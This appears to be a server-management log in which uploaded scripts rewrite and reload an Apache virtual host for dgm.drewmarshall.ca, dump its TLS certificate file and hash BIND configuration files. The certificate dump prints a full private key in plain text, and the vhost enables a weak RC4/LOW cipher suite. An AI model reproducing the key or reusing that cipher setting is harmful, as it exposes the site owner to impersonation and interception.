gzip -cn9 $temp_file
rm $temp_file

2026-03-08 18:56:49: 

chmod 755 /tmp/pkp698875; /tmp/pkp698875; rm /tmp/pkp698875

2026-03-08 18:56:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-08 18:56:49: 

PUT: /tmp/pkp133096

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi


2026-03-08 18:56:49: 

chmod 755 /tmp/pkp133096; /tmp/pkp133096; rm /tmp/pkp133096

2026-03-08 18:56:49: 




2026-03-08 18:56:49: 

PUT: /tmp/pkp298424

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-08 18:56:49: 

chmod 755 /tmp/pkp298424; /tmp/pkp298424; rm /tmp/pkp298424

2026-03-08 18:56:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-08 18:56:49: Establishing a connection
2026-03-08 18:56:49: 

PUT: /tmp/pkp797609

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-08 18:56:49: 

chmod 755 /tmp/pkp797609; /tmp/pkp797609; rm /tmp/pkp797609

2026-03-08 18:56:49: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-08 18:56:49: 

PUT: /tmp/pkp452120

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 18:56:50: 

chmod 755 /tmp/pkp452120; /tmp/pkp452120; rm /tmp/pkp452120

2026-03-08 18:56:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf	1339

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-08 18:56:50: 

PUT: /tmp/pkp924485

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 18:56:50: 

chmod 755 /tmp/pkp924485; /tmp/pkp924485; rm /tmp/pkp924485

2026-03-08 18:56:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt	5353
ee:04:c9:c5:2a:f5:79:cb:9e:10:33:3d:3a:88:de:93

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBrdgj4UGvTOtx5AN5TvzRmQAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA4MTc1ODE4WhcNMjYwNjA2MTc1ODE3WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAoAJTJD7wDT8SWeloy3JRAlcktqqbZiGklqT2O9UE5FDmaj+8KRXfdwZl
ax/ml7jw7uaOU2PTxjNKxiArPs80Gs/GqXz2GVofWD8JCqpAyozbJ/IIUA2m9XY8
4aSeXPnelK2EeS8fhCmsw5rkB0hJ1v2tp7A2dHLAgZ/OtT+2FLypzO36xjsk9X5N
ZMhfE77coa9iBwuA2Bn2loOuqW61LAbFYkO7nqN3Itc1kvXqmXTOMTOeq1wWESmL
oRThDS8x8bz/j559Eyaj8XkQq42QXADVOhfDN9VFJaAFv9UT4iRQtdCNdVFbUQSs
JSx1sEfB5VpPOoglfMUurlQvkxauwwIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FB1qsVk9GF4dG4k8fY3WeJb4E8JbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITZGdtLmRyZXdtYXJzaGFsbC5jYTATBgNV
HSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxodHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYADleUvPOu
qT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGczs8l9wAABAMARzBFAiEAgf55
dMH4n0g6+fhPvEF0OszXK0L0uaTDKfaPMcU2KBMCIDSQCNb7oqIJ8fLQIfCA64wo
1Pwt2dcwRwlzyCC+h3atAH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjE
tugAAAGczs8niwAIAAAFADTtCB0EAwBHMEUCID9mHQrrNoAtmLfwysLR+knX9iCN
bd5xvMF7jr+hlfchAiEAqd9yqN035/3/SJpb7+O7LXhjRmr3aNgrPAQ7z1MEN3Mw
DQYJKoZIhvcNAQELBQADggEBAMBjTfC68kjos8ldNHdjuFGHMJSpkdYzQl68G+73
/KvP0kshz8/7rGkCuLGkJxe77eadE/urLlPYMNPx08cMDvlbYezgPPBp1tw3HzNn
O0RM1isRX/5alVodT3ReMfTrh4QF9sX0RMKGYFx0PIHzfgXir+iYAHo2x89UqIEw
ceOEy4DM11ABjiaiu7xinbvvu0ZeM2wYVes0NEgpmUiz5N7PuOHN7c9VRq1/0Tak
SG9yis9OZfAaakNdxwcpwucf89X2FwrLVVfCJ3P9ikgNsfyIsEmKrifREOehzJIS
96HwDdTJWp0E5tbZsgDF45KkCiCa6VZGJJeYFd/fL2xxQlU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCgAlMkPvANPxJZ
6WjLclECVyS2qptmIaSWpPY71QTkUOZqP7wpFd93BmVrH+aXuPDu5o5TY9PGM0rG
ICs+zzQaz8apfPYZWh9YPwkKqkDKjNsn8ghQDab1djzhpJ5c+d6UrYR5Lx+EKazD
muQHSEnW/a2nsDZ0csCBn861P7YUvKnM7frGOyT1fk1kyF8Tvtyhr2IHC4DYGfaW
g66pbrUsBsViQ7ueo3ci1zWS9eqZdM4xM56rXBYRKYuhFOENLzHxvP+Pnn0TJqPx
eRCrjZBcANU6F8M31UUloAW/1RPiJFC10I11UVtRBKwlLHWwR8HlWk86iCV8xS6u
VC+TFq7DAgMBAAECggEAJ/L8pBeMopoFMGqcrfLQM/fi5DJrUxACQlRUX/La4lAq
fwuDpHRgEx0HNDxGO8pCaTsp/Lr3VExZFmdQtMFR3oHStV1MKl88ZTFzxfRk8c1C
KFJ+7dHCxhUrtSB/I3KFNnSuFv2DbmFjT4D7/q93NBSpBy1xIxjFZHesScdq4/kj
SWc4jnmBy4grxq9x/uH5YVUZBK1vfqfL/XFH8REZ9AgnF8yOlL7xuqM0B47VZ9qO
nH8IS5G4Ga2ys+DfqKhcdrzmPmRJFfGxRVgQsELEE81xAmUN23KW0+6Km8cHaYSs
tNGyOu4+EYnIYmhroLYm7J8vKq8LIUsWdgZrkT91lQKBgQDaGY31O6eoK1am7dFm
TLA3DcHtgrhzb9KBO9Bn2g3ChHKIKns+0ziTlWgmFm2YLoRTD4Z5zhLhJNn+lqWl
nJQdzdmyQi50pKA3vfc+hO9faUsDH7zabbcKt6n48T3DYQ4emrY67ad2Yto2T8Kj
Go7r0Ivkl+TLhU3L4XVUPRe1vQKBgQC70IfJD3nhG7MuGxs6O7v2v/hWxTsKpv1b
4S9e9hnIqvDx3KlGyhBVO0u888LsP94pHelN6Kr5Fp6SD9C8C68YYOpZvnPh0KJE
shcAIsMT/LUanV6rC15c33KyhPwJlRKP/Kp8w1gNcKbj8aQWA9i2PwQpiUv/Xa7a
appR8Sr+fwKBgQCugEvIrtZSA3rtTNKCG1HSertzIWgbVJkEtarlrN3diMNqlzLM
7YsS6jPOZZuCa5WML5vU0UDhyu5weHBItaL8xbssmS86PI3Ei8XKy+oKWOCfu0EL
M0WE2baxa7OTI5B8hCTRuVyHqEgXtHFytskrfEyxtaZmAF5ihh2uLMNPsQKBgHD9
7/MigGzRwWbHoAXU0iyNKdbqKa8q79pLC7jRzolPbk3UN3MDNfhRCCvRaz++3OVX
vXjFtbbNyPCO20GGtfywscz0K7t7TWSO0A+g2kQ4EKzGaKH24Pp25AZKw2bwbI57
sAYHb/4F/CG+yr0D62kZWGO02if0MLHu2JDbysX5AoGBAL4MCsbJknLV5eT+jDee
0VpE3IXjoBJnkgV/Em2jty26zxC0HVC3AA8x8u8zZrMTABxxOZFCR9jJaH3+OOuj
NPVeF8wsydVjptxSOT7f7A3AabXuTHrSd6ut5ac5wtKCo/oNZkFup4tYZ8RbZ6zr
1lBCy6a/OJMQS0qX0mu/G2j4
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-08 18:58:35: Establishing a connection
2026-03-08 18:58:36: 

PUT: /tmp/pkp944320

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-08 18:58:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp944320; rm /tmp/pkp944320'

2026-03-08 18:58:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
